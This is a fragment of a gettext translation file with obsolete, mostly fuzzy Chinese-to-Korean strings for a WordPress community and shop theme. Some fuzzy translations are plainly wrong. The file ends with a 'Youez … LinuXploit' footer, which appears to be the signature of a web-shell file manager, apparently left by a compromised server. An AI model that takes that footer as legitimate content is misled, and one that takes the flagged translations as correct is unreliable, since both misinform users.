#~ msgid "圈子连接有重复，请更换连接"
#~ msgstr "서클 연결이 중복되었습니다. 연결을 변경하세요."

#, fuzzy
#~ msgid "请输入您的答案"
#~ msgstr "답변을 입력하세요"

#~ msgid "隐藏内容，您需要满足以下条件方可查看"
#~ msgstr "숨겨진 콘텐츠를 보려면 다음 조건을 충족해야 합니다."

#, fuzzy
#~| msgid "请在下方发表您的看法，之后当前隐藏内容将为您展示"
#~ msgid "请在下方发表您的看法后刷新页面，隐藏内容将为您展示"
#~ msgstr "아래에 의견을 게시하면 현재 숨겨진 콘텐츠가 표시됩니다."

#~ msgid "满足以下权限"
#~ msgstr "다음 권한이 필요합니다."

#~ msgid "付费查看"
#~ msgstr "유료보기"

#~ msgid "支付积分查看"
#~ msgstr "포인트 지불 후 보기"

#~ msgid "没有找到，请换个词搜索一下看看！"
#~ msgstr "찾지 못했습니다.다른 키워드를 사용해보세요."

#, fuzzy
#~ msgid "此模块命名为"
#~ msgstr "이 모듈의 이름은"

#, fuzzy
#~ msgid ""
#~ "个人在备案域名的时候，通常要求站点内没有注册留言等功能，否则备案无法通过。"
#~ "关闭交互功能后方便备案审核。关闭的功能包括登录注册、评论等。如果您开启了类"
#~ "似圈子、商城等这样的功能，请自行在菜单中关闭。"
#~ msgstr ""
#~ "개인이 도메인 이름을 등록 할 때 일반적으로 사이트에 메시지 등록과 같은 기"
#~ "능이 없어야합니다. 그렇지 않으면 등록이 통과되지 않습니다. 대화 형 기능을 "
#~ "닫은 후 파일링 및 검토에 편리합니다. 닫힌 기능에는 로그인, 등록, 댓글 등"
#~ "이 있습니다. 서클, 쇼핑몰 등의 기능을 켰다면 메뉴에서 직접 꺼주세요."

#, fuzzy
#~ msgid "开启审核模式"
#~ msgstr "감사 모드 켜기"

#, fuzzy
#~ msgid "关闭审核模式"
#~ msgstr "감사 모드 끄기"

#, fuzzy
#~ msgid "短信SdkAppid"
#~ msgstr "SMS SdkAppid"

#, fuzzy
#~ msgid "如果金额为0，请填写0.00，正常价格必填"
#~ msgstr "금액이 0 인 경우 0.00을 입력하세요. 정상 가격이 필요합니다."

#, fuzzy
#~ msgid "【列表模式】PC端缩略图比例"
#~ msgstr "[목록 모드] PC 썸네일 비율"

#, fuzzy
#~ msgid "【列表模式】移动端缩略图比例"
#~ msgstr "[목록 모드] 모바일 단말기의 썸네일 비율"

#, fuzzy
#~ msgid "幻灯切换方式"
#~ msgstr "슬라이드 쇼 전환 방법"

#, fuzzy
#~ msgid "滚动切换"
#~ msgstr "스크롤 스위치"

#, fuzzy
#~ msgid "渐变切换"
#~ msgstr "그라데이션 스위치"

#, fuzzy
#~ msgid "复杂"
#~ msgstr "복잡한"

#, fuzzy
#~| msgid "订单"
#~ msgid "简单"
#~ msgstr "주문내역"

#, fuzzy
#~ msgid "首屏显示数量"
#~ msgstr "첫 화면 수"

#, fuzzy
#~ msgid "首屏显示数量必须小于上面选中的专题总数"
#~ msgstr ""
#~ "첫 화면에 표시되는 숫자는 위에서 선택한 총 주제 수보다 작아야합니다."

#, fuzzy
#~ msgid "申请成为认证会员"
#~ msgstr "인증 회원 신청"

#~ msgid "登出"
#~ msgstr "로그아웃"

#~ msgid "没有更多内容了"
#~ msgstr "추가 리스트가 없습니다."

#~ msgid "赞赏"
#~ msgstr "팁"

#, fuzzy
#~ msgid "已经入圈"
#~ msgstr "이미 서클에 있음"

#, fuzzy
#~ msgid "推荐"
#~ msgstr "권하다"

#~ msgid "今日签到："
#~ msgstr "오늘 출석:"

#, fuzzy
#~ msgid "支付积分阅读隐藏内容"
#~ msgstr "숨겨진 콘텐츠를 읽기 위해 포인트 지불"

#, fuzzy
#~ msgid "支付费用阅读隐藏内容"
#~ msgstr "숨겨진 콘텐츠 읽기 비용 지불"

#, fuzzy
#~ msgid "专属内容"
#~ msgstr "독점 콘텐츠"

#, fuzzy
#~ msgid "猜对答案阅读隐藏内容"
#~ msgstr "숨겨진 내용을 읽고 정답을 맞춰보세요"

#~ msgid "啥也没有..."
#~ msgstr "내용이 없습니다."

#, fuzzy
#~ msgid "请重启php，如果仍然有提示，请按照下面步骤升级扩展"
#~ msgstr ""
#~ "PHP를 다시 시작하십시오. 그래도 메시지가 나타나면 아래 단계에 따라 확장을 "
#~ "업그레이드하십시오."

#, fuzzy
#~ msgid "请按照下面几步升级您的扩展"
#~ msgstr "확장을 업그레이드하려면 아래 단계를 따르십시오."

#, fuzzy, php-format
#~ msgid "如果以上步骤未能安装成功，请访问如下连接，将结果截图QQ发给春哥：%s"
#~ msgstr ""
#~ "위의 단계가 성공적으로 설치되지 않으면 다음 링크를 방문하여 결과의 QQ 스크"
#~ "린 샷을 천 형제에게 보내십시오 :  %s"

#, fuzzy
#~ msgid "B2"
#~ msgstr "B2"

#, fuzzy
#~ msgid "圈子页面名称，一般显示在页面title标签内，做SEO用"
#~ msgstr ""
#~ "일반적으로 SEO에 사용되는 페이지 제목 태그에 표시되는 서클 페이지의 이름"

#, fuzzy, php-format
#~ msgid "没有文档分类，请前往%s添加"
#~ msgstr "문서 분류가 없습니다. 추가하려면  %s로 이동하십시오."

#, fuzzy
#~ msgid "商铺页面名称，一般显示在页面title标签内，做SEO用"
#~ msgstr ""
#~ "일반적으로 SEO에 사용되는 페이지 제목 태그에 표시되는 상점 페이지 이름"

#, fuzzy
#~ msgid "下载页面设置"
#~ msgstr "페이지 설정 다운로드"

#~ msgid "智能"
#~ msgstr "자동"

#, fuzzy
#~ msgid "请选择你的小工具，拖到此处。（显示在除文章内页的其他页面）"
#~ msgstr ""
#~ "가젯을 선택하고 여기로 드래그하세요. (기사 내부 페이지 이외의 페이지에 표"
#~ "시)"

#, fuzzy
#~ msgid "请先支付费用以后入群"
#~ msgstr "먼저 비용을 지불하고 나중에 그룹에 가입하십시오."

#, fuzzy
#~ msgid "圈子封面错误"
#~ msgstr "원형 커버 오류"

#~ msgid "操作权限不足"
#~ msgstr "작업 권한이 부족합니다."

#~ msgid "已注销"
#~ msgstr "로그아웃"

#, fuzzy
#~ msgid "vip用户组"
#~ msgstr "vip 사용자 그룹"

#~ msgid "您没有权限编辑此文"
#~ msgstr "이 글을 편집할 권한이 없습니다."

#~ msgid "文章已经发布，无法再次编辑，如需编辑，请联系管理员"
#~ msgstr ""
#~ "글이 게시되어 다시 편집할 수 없습니다. 편집이 필요한 경우 관리자에게 문의 "
#~ "하십시오."

#, fuzzy
#~ msgid "默认允许推广"
#~ msgstr "기본적으로 승격 허용"

#, fuzzy
#~ msgid "允许推广"
#~ msgstr "승격 허용"

#, fuzzy
#~ msgid "禁止推广"
#~ msgstr "금지"

#, fuzzy
#~ msgid "积分购买是否允许推广？"
#~ msgstr "포인트 구매로 프로모션이 가능합니까?"

#, fuzzy
#~ msgid "媒体权限"
#~ msgstr "미디어 권한"

#, fuzzy
#~ msgid "媒体权限全站生效"
#~ msgstr "미디어 권한은 사이트 전체에 적용됩니다."

#, fuzzy, php-format
#~ msgid "视频的标题,比如%s"
#~ msgstr "비디오 제목 (예 :  %s)"

#, fuzzy
#~ msgid "规则网格"
#~ msgstr "일반 그리드"

#, fuzzy
#~ msgid "LOGO剧中"
#~ msgstr "로고 플레이"

#, fuzzy
#~ msgid "文章分类"
#~ msgstr "물품 분류"

#~ msgid "全部专题"
#~ msgstr "전체 주제"

#, fuzzy
#~ msgid "冒泡"
#~ msgstr "거품"

#, fuzzy
#~ msgid "研究所"
#~ msgstr "대학원"

#~ msgid "您的订单支付成功，请手动关闭此页返回商品页面查看支付结果"
#~ msgstr ""
#~ "주문 결제에 성공했습니다. 이 페이지를 수동으로 닫고 상품 페이지로 돌아가 "
#~ "결제 결과를 확인하십시오."

#~ msgid "您的订单支付失败，请手动关闭此页返回商品页面查看支付结果"
#~ msgstr ""
#~ "주문 결제에 실패했습니다. 이 페이지를 수동으로 닫고 상품 페이지로 돌아가 "
#~ "결제 결과를 확인하십시오."

#~ msgid "这家伙很懒，什么都没留下"
#~ msgstr "자우명,자기 소개 등"

#~ msgid "总数"
#~ msgstr "총수"

#, fuzzy
#~ msgid "所有圈子 ❯"
#~ msgstr "전체 서클"

#, fuzzy, php-format
#~ msgid "请设置几个答案，让您的朋友们去选择。正确答案是：%s"
#~ msgstr ""
#~ "몇 가지 답변을 설정하고 친구가 선택하도록하십시오. 정답은  %s입니다."

#~ msgid "登陆用户名"
#~ msgstr "아이디"

#, fuzzy
#~ msgid "文章页面菜单"
#~ msgstr "기사 페이지 메뉴"

#, fuzzy
#~ msgid "顶部菜单"
#~ msgstr "톱 메뉴"

#, fuzzy
#~ msgid "快讯菜单（不支持二级菜单）"
#~ msgstr "경고 메뉴 (2 단계 메뉴는 지원되지 않음)"

#, fuzzy, php-format
#~ msgid "最多上传%s张图片"
#~ msgstr "최대  %s 장의 사진 업로드"

#, fuzzy, php-format
#~ msgid "最多上传%s个视频"
#~ msgstr "최대  %s 개의 동영상 업로드"

#, fuzzy, php-format
#~ msgid "最多上传%s个文件"
#~ msgstr "최대  %s 개의 파일 업로드"

#, fuzzy
#~ msgid "禁止后台编辑个人资料"
#~ msgstr "개인 데이터의 백그라운드 편집 금지"

#, fuzzy
#~ msgid "未登陆"
#~ msgstr "로그인하지 않았습니다"

#, fuzzy
#~ msgid "全屏页面"
#~ msgstr "전체 화면 페이지"

#, fuzzy
#~ msgid "瀑布流排版"
#~ msgstr "폭포 흐름 타이포그래피"
Youez - 2016 - github.com/yon3zu
LinuXploit